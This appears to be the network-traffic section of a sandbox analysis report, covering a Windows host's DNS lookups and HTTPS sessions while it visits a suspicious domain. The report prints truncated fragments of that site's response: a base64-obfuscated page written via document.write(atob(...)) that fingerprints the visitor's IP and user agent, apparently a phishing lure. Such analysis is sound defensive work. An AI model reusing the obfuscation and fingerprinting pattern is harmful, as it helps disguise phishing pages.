May 22, 2024 20:01:44.598896027 CEST	53	51884	1.1.1.1	192.168.2.17
May 22, 2024 20:01:47.041106939 CEST	61616	53	192.168.2.17	1.1.1.1
May 22, 2024 20:01:47.041266918 CEST	53908	53	192.168.2.17	1.1.1.1
May 22, 2024 20:01:47.054848909 CEST	53	53908	1.1.1.1	192.168.2.17
May 22, 2024 20:01:47.054867983 CEST	53	61616	1.1.1.1	192.168.2.17
May 22, 2024 20:02:00.593187094 CEST	50461	53	192.168.2.17	1.1.1.1
May 22, 2024 20:02:00.593329906 CEST	49584	53	192.168.2.17	1.1.1.1
May 22, 2024 20:02:00.655821085 CEST	53	50461	1.1.1.1	192.168.2.17
May 22, 2024 20:02:00.655875921 CEST	53	49584	1.1.1.1	192.168.2.17
May 22, 2024 20:02:05.465853930 CEST	57479	53	192.168.2.17	1.1.1.1
May 22, 2024 20:02:05.466015100 CEST	51122	53	192.168.2.17	1.1.1.1
May 22, 2024 20:02:05.467072964 CEST	60291	53	192.168.2.17	1.1.1.1
May 22, 2024 20:02:05.467205048 CEST	58186	53	192.168.2.17	1.1.1.1
May 22, 2024 20:02:05.485467911 CEST	53	60291	1.1.1.1	192.168.2.17
May 22, 2024 20:02:05.485512018 CEST	53	51122	1.1.1.1	192.168.2.17
May 22, 2024 20:02:05.485526085 CEST	53	57479	1.1.1.1	192.168.2.17
May 22, 2024 20:02:05.485538960 CEST	53	58186	1.1.1.1	192.168.2.17
May 22, 2024 20:02:08.811923981 CEST	53	54165	1.1.1.1	192.168.2.17
May 22, 2024 20:02:12.589018106 CEST	53	59140	1.1.1.1	192.168.2.17
May 22, 2024 20:02:37.681137085 CEST	53	56910	1.1.1.1	192.168.2.17
May 22, 2024 20:02:39.035509109 CEST	138	138	192.168.2.17	192.168.2.255
May 22, 2024 20:02:47.056691885 CEST	52532	53	192.168.2.17	1.1.1.1
May 22, 2024 20:02:47.056754112 CEST	58967	53	192.168.2.17	1.1.1.1
May 22, 2024 20:02:47.093401909 CEST	53	58967	1.1.1.1	192.168.2.17
May 22, 2024 20:02:47.093414068 CEST	53	52532	1.1.1.1	192.168.2.17

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
May 22, 2024 20:01:42.468987942 CEST	192.168.2.17	1.1.1.1	c20a	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 22, 2024 20:01:37.800353050 CEST	192.168.2.17	1.1.1.1	0x6966	Standard query (0)	l6agz47874.eleteriod.com	A (IP address)	IN (0x0001)	false
May 22, 2024 20:01:37.800559998 CEST	192.168.2.17	1.1.1.1	0x7fda	Standard query (0)	l6agz47874.eleteriod.com	65	IN (0x0001)	false
May 22, 2024 20:01:41.322278023 CEST	192.168.2.17	1.1.1.1	0x7139	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
May 22, 2024 20:01:41.322448969 CEST	192.168.2.17	1.1.1.1	0x243e	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
May 22, 2024 20:01:41.323163986 CEST	192.168.2.17	1.1.1.1	0xebe0	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
May 22, 2024 20:01:41.323309898 CEST	192.168.2.17	1.1.1.1	0xf3cf	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
May 22, 2024 20:01:42.439563036 CEST	192.168.2.17	1.1.1.1	0x436e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 22, 2024 20:01:42.439739943 CEST	192.168.2.17	1.1.1.1	0xb9ee	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 22, 2024 20:01:42.989492893 CEST	192.168.2.17	1.1.1.1	0x529d	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
May 22, 2024 20:01:42.989667892 CEST	192.168.2.17	1.1.1.1	0xb7b1	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
May 22, 2024 20:01:44.587524891 CEST	192.168.2.17	1.1.1.1	0x2597	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
May 22, 2024 20:01:44.587723970 CEST	192.168.2.17	1.1.1.1	0xfa2c	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
May 22, 2024 20:01:47.041106939 CEST	192.168.2.17	1.1.1.1	0x1644	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
May 22, 2024 20:01:47.041266918 CEST	192.168.2.17	1.1.1.1	0x6d39	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
May 22, 2024 20:02:00.593187094 CEST	192.168.2.17	1.1.1.1	0xf987	Standard query (0)	l6agz47874.eleteriod.com	A (IP address)	IN (0x0001)	false
May 22, 2024 20:02:00.593329906 CEST	192.168.2.17	1.1.1.1	0x11f1	Standard query (0)	l6agz47874.eleteriod.com	65	IN (0x0001)	false
May 22, 2024 20:02:05.465853930 CEST	192.168.2.17	1.1.1.1	0x162e	Standard query (0)	cdn.socket.io	A (IP address)	IN (0x0001)	false
May 22, 2024 20:02:05.466015100 CEST	192.168.2.17	1.1.1.1	0xc337	Standard query (0)	cdn.socket.io	65	IN (0x0001)	false
May 22, 2024 20:02:05.467072964 CEST	192.168.2.17	1.1.1.1	0x617e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 22, 2024 20:02:05.467205048 CEST	192.168.2.17	1.1.1.1	0xdc50	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 22, 2024 20:02:47.056691885 CEST	192.168.2.17	1.1.1.1	0x9b9a	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
May 22, 2024 20:02:47.056754112 CEST	192.168.2.17	1.1.1.1	0x7627	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 22, 2024 20:01:34.587311983 CEST	1.1.1.1	192.168.2.17	0x6d1f	No error (0)	templatesmetadata.office.net	templatesmetadata.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 22, 2024 20:01:37.818099022 CEST	1.1.1.1	192.168.2.17	0x6966	No error (0)	l6agz47874.eleteriod.com		188.114.97.3	A (IP address)	IN (0x0001)	false
May 22, 2024 20:01:37.818099022 CEST	1.1.1.1	192.168.2.17	0x6966	No error (0)	l6agz47874.eleteriod.com		188.114.96.3	A (IP address)	IN (0x0001)	false
May 22, 2024 20:01:37.818114996 CEST	1.1.1.1	192.168.2.17	0x7fda	No error (0)	l6agz47874.eleteriod.com			65	IN (0x0001)	false
May 22, 2024 20:01:41.414602995 CEST	1.1.1.1	192.168.2.17	0x7139	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
May 22, 2024 20:01:41.414602995 CEST	1.1.1.1	192.168.2.17	0x7139	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
May 22, 2024 20:01:41.414602995 CEST	1.1.1.1	192.168.2.17	0x7139	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
May 22, 2024 20:01:41.414602995 CEST	1.1.1.1	192.168.2.17	0x7139	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
May 22, 2024 20:01:41.414622068 CEST	1.1.1.1	192.168.2.17	0xf3cf	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
May 22, 2024 20:01:41.414632082 CEST	1.1.1.1	192.168.2.17	0xebe0	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
May 22, 2024 20:01:41.414632082 CEST	1.1.1.1	192.168.2.17	0xebe0	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
May 22, 2024 20:01:42.446710110 CEST	1.1.1.1	192.168.2.17	0x436e	No error (0)	www.google.com		172.217.16.196	A (IP address)	IN (0x0001)	false
May 22, 2024 20:01:42.468835115 CEST	1.1.1.1	192.168.2.17	0xb9ee	No error (0)	www.google.com			65	IN (0x0001)	false
May 22, 2024 20:01:43.001609087 CEST	1.1.1.1	192.168.2.17	0xb7b1	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
May 22, 2024 20:01:43.001620054 CEST	1.1.1.1	192.168.2.17	0x529d	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
May 22, 2024 20:01:43.001620054 CEST	1.1.1.1	192.168.2.17	0x529d	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
May 22, 2024 20:01:44.598885059 CEST	1.1.1.1	192.168.2.17	0x2597	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
May 22, 2024 20:01:44.598885059 CEST	1.1.1.1	192.168.2.17	0x2597	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
May 22, 2024 20:01:44.598896027 CEST	1.1.1.1	192.168.2.17	0xfa2c	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
May 22, 2024 20:01:47.054867983 CEST	1.1.1.1	192.168.2.17	0x1644	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
May 22, 2024 20:02:00.655821085 CEST	1.1.1.1	192.168.2.17	0xf987	No error (0)	l6agz47874.eleteriod.com		188.114.96.3	A (IP address)	IN (0x0001)	false
May 22, 2024 20:02:00.655821085 CEST	1.1.1.1	192.168.2.17	0xf987	No error (0)	l6agz47874.eleteriod.com		188.114.97.3	A (IP address)	IN (0x0001)	false
May 22, 2024 20:02:00.655875921 CEST	1.1.1.1	192.168.2.17	0x11f1	No error (0)	l6agz47874.eleteriod.com			65	IN (0x0001)	false
May 22, 2024 20:02:05.485467911 CEST	1.1.1.1	192.168.2.17	0x617e	No error (0)	www.google.com		216.58.212.164	A (IP address)	IN (0x0001)	false
May 22, 2024 20:02:05.485512018 CEST	1.1.1.1	192.168.2.17	0xc337	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 22, 2024 20:02:05.485526085 CEST	1.1.1.1	192.168.2.17	0x162e	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 22, 2024 20:02:05.485526085 CEST	1.1.1.1	192.168.2.17	0x162e	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.227.219.47	A (IP address)	IN (0x0001)	false
May 22, 2024 20:02:05.485526085 CEST	1.1.1.1	192.168.2.17	0x162e	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.227.219.11	A (IP address)	IN (0x0001)	false
May 22, 2024 20:02:05.485526085 CEST	1.1.1.1	192.168.2.17	0x162e	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.227.219.97	A (IP address)	IN (0x0001)	false
May 22, 2024 20:02:05.485526085 CEST	1.1.1.1	192.168.2.17	0x162e	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.227.219.40	A (IP address)	IN (0x0001)	false
May 22, 2024 20:02:05.485538960 CEST	1.1.1.1	192.168.2.17	0xdc50	No error (0)	www.google.com			65	IN (0x0001)	false
May 22, 2024 20:02:47.093414068 CEST	1.1.1.1	192.168.2.17	0x9b9a	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

login.live.com

slscr.update.microsoft.com

l6agz47874.eleteriod.com

https:

challenges.cloudflare.com

code.jquery.com

www.google.com

cdn.socket.io

a.nel.cloudflare.com

evoke-windowsservices-tas.msedge.net

www.bing.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.17	49706	40.126.32.134	443

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:23 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4722 Host: login.live.com
2024-05-22 18:01:23 UTC	4722	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-05-22 18:01:24 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 22 May 2024 18:00:24 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_BAY x-ms-request-id: 8ebec7f7-0ba5-4059-a6fd-a0ab234e9f12 PPServer: PPV: 30 H: PH1PEPF00011E50 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 22 May 2024 18:01:24 GMT Connection: close Content-Length: 10197
2024-05-22 18:01:24 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.17	49707	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:26 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RxOb4T5Cgy5kgHP&MD=9AUd9Nh3 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-05-22 18:01:26 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: e673ff39-7958-4268-9080-67886f0b9d69 MS-RequestId: 8c5b84cf-6f7b-41dd-8280-f918eddde713 MS-CV: 6NKLGeHGyEqQ+BtK.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 22 May 2024 18:01:25 GMT Connection: close Content-Length: 24490
2024-05-22 18:01:26 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-05-22 18:01:26 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.17	49767	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:38 UTC	678	OUT	GET /k3hof49809/ HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:01:41 UTC	1005	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:01:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D6M38RMRDWPn%2BAYkk2bXhxQjsKKqOEzCyvIfoDeImgIDKQIE%2F3ag1rJVw5kLvd3LSRO6W1oCxqbBYm7xzet8%2B89A5uunH3JfryYxKIkQDl60VUizB2NQFhELq75DGA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6IkRYWmQ0TnFNcWw1UGMwek4zYWdZQ0E9PSIsInZhbHVlIjoibW5TdENxMXpQbUhWUVVVcWFXcFhUQmc3UXpacWhLZUVkV29iY2ovMjlMUEJNd2EwQjQwcTNYdGNuVnF2Q1locVlSQTgydjZlSGRwdGJib1lWelVBOE81YjBkeTU0emxQVDdhSGYxcE40eUpjOTRkTnZBb2tIU3BvQ3FVRmtlRjUiLCJtYWMiOiJjMTAyMmRkMjA3NTk3YjNhY2U0Zjg2YzE4ZGVjYjc2NWVlODEyMjk4NjcxYTQxZjI5MzIzMGJlNTY2NGMyNGZkIiwidGFnIjoiIn0%3D; expires=Wed, 22-May-2024 20:01:40 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-05-22 18:01:41 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 41 76 63 58 6c 46 4f 44 42 72 62 6b 5a 31 62 44 41 30 4e 53 74 44 65 55 56 76 62 31 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 52 55 4a 53 53 6a 64 7a 61 47 52 72 4d 6e 56 51 53 31 68 75 62 31 46 72 57 48 4a 34 61 53 38 33 64 33 6c 4b 52 47 52 36 63 45 39 5a 65 57 39 47 65 69 74 57 57 58 6c 50 57 58 4a 75 63 32 35 71 5a 48 67 35 4d 55 35 36 5a 57 64 6d 4d 43 39 36 4e 6d 46 52 56 55 78 4d 54 47 4a 76 52 48 45 72 61 56 70 59 53 55 6f 78 5a 32 6c 45 62 32 70 6a 56 6d 52 31 53 57 30 31 54 31 55 34 4f 54 4a 54 56 46 42 48 4d 47 64 4b 65 55 74 7a 61 6b 35 52 55 6a 68 47 64 30 67 34 54 32 45 32 51 33 5a 79 64 6b 56 35 55 57 70 51 64 44 55 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InAvcXlFODBrbkZ1bDA0NStDeUVvb1E9PSIsInZhbHVlIjoiRUJSSjdzaGRrMnVQS1hub1FrWHJ4aS83d3lKRGR6cE9ZeW9GeitWWXlPWXJuc25qZHg5MU56ZWdmMC96NmFRVUxMTGJvRHEraVpYSUoxZ2lEb2pjVmR1SW01T1U4OTJTVFBHMGdKeUtzak5RUjhGd0g4T2E2Q3ZydkV5UWpQdDU
2024-05-22 18:01:41 UTC	1369	IN	Data Raw: 31 34 33 65 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 69 41 67 49 43 41 38 63 32 4e 79 61 58 42 30 49 48 4e 79 59 7a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6a 62 32 52 6c 4c 6d 70 78 64 57 56 79 65 53 35 6a 62 32 30 76 61 6e 46 31 5a 58 4a 35 4c 54 4d 75 4e 69 34 77 4c 6d 31 70 62 69 35 71 63 79 49 2b 50 43 39 7a 59 33 4a 70 63 48 51 2b 44 51 6f 67 49 43 41 67 50 48 4e 6a 63 6d 6c 77 64 43 42 7a 63 6d 4d 39 49 6d 68 30 64 48 42 7a 4f 69 38 76 59 32 68 68 62 47 Data Ascii: 143e<script>document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbG
2024-05-22 18:01:41 UTC	1369	IN	Data Raw: 64 47 38 37 64 32 6c 6b 64 47 67 36 4d 7a 4d 75 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 6c 4f 33 30 4e 43 6e 30 4e 43 69 4e 49 64 6e 5a 72 59 33 42 4d 52 55 4a 71 49 43 35 6b 61 58 4e 77 62 47 46 35 4c 54 51 67 65 32 5a 76 62 6e 51 74 63 32 6c 36 5a 54 6f 67 4d 53 34 79 4e 58 4a 6c 62 53 46 70 62 58 42 76 63 6e 52 68 62 6e 51 37 66 51 30 4b 49 30 68 32 64 6d 74 6a 63 45 78 46 51 6d 6f 67 4c 6d 31 30 4c 54 49 67 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 49 44 41 75 4e 58 4a 6c 62 53 46 70 62 58 42 76 63 6e 52 68 62 6e 51 37 66 51 30 4b 49 30 68 32 64 6d 74 6a 63 45 78 46 51 6d 6f 67 4c 6d 67 30 49 48 74 6d 62 32 35 30 4c 58 4e 70 65 6d 55 36 49 47 4e 68 62 47 4d 6f 4c 6a 6b 77 4d 48 4a 6c 62 53 41 72 49 43 34 7a 64 6e 63 70 4f 33 30 4e 43 69 4e 49 64 6e 5a Data Ascii: dG87d2lkdGg6MzMuMzMzMzMzMzMlO30NCn0NCiNIdnZrY3BMRUJqIC5kaXNwbGF5LTQge2ZvbnQtc2l6ZTogMS4yNXJlbSFpbXBvcnRhbnQ7fQ0KI0h2dmtjcExFQmogLm10LTIge21hcmdpbi10b3A6IDAuNXJlbSFpbXBvcnRhbnQ7fQ0KI0h2dmtjcExFQmogLmg0IHtmb250LXNpemU6IGNhbGMoLjkwMHJlbSArIC4zdncpO30NCiNIdnZ
2024-05-22 18:01:41 UTC	1369	IN	Data Raw: 69 42 32 59 57 78 31 5a 54 30 69 4f 43 34 30 4e 69 34 78 4d 6a 4d 75 4d 54 63 31 49 6a 34 4e 43 6a 78 70 62 6e 42 31 64 43 42 30 65 58 42 6c 50 53 4a 6f 61 57 52 6b 5a 57 34 69 49 47 6c 6b 50 53 4a 69 62 48 52 6b 63 6d 56 6d 49 69 42 75 59 57 31 6c 50 53 4a 69 62 48 52 6b 63 6d 56 6d 49 69 42 32 59 57 78 31 5a 54 30 69 49 6a 34 4e 43 6a 78 70 62 6e 42 31 64 43 42 30 65 58 42 6c 50 53 4a 6f 61 57 52 6b 5a 57 34 69 49 47 6c 6b 50 53 4a 69 62 48 52 6b 64 57 45 69 49 47 35 68 62 57 55 39 49 6d 4a 73 64 47 52 31 59 53 49 67 64 6d 46 73 64 57 55 39 49 6b 31 76 65 6d 6c 73 62 47 45 76 4e 53 34 77 49 43 68 58 61 57 35 6b 62 33 64 7a 49 45 35 55 49 44 45 77 4c 6a 41 37 49 46 64 70 62 6a 59 30 4f 79 42 34 4e 6a 51 70 49 45 46 77 63 47 78 6c 56 32 56 69 53 32 6c 30 Data Ascii: iB2YWx1ZT0iOC40Ni4xMjMuMTc1Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJibHRkcmVmIiBuYW1lPSJibHRkcmVmIiB2YWx1ZT0iIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJibHRkdWEiIG5hbWU9ImJsdGR1YSIgdmFsdWU9Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0
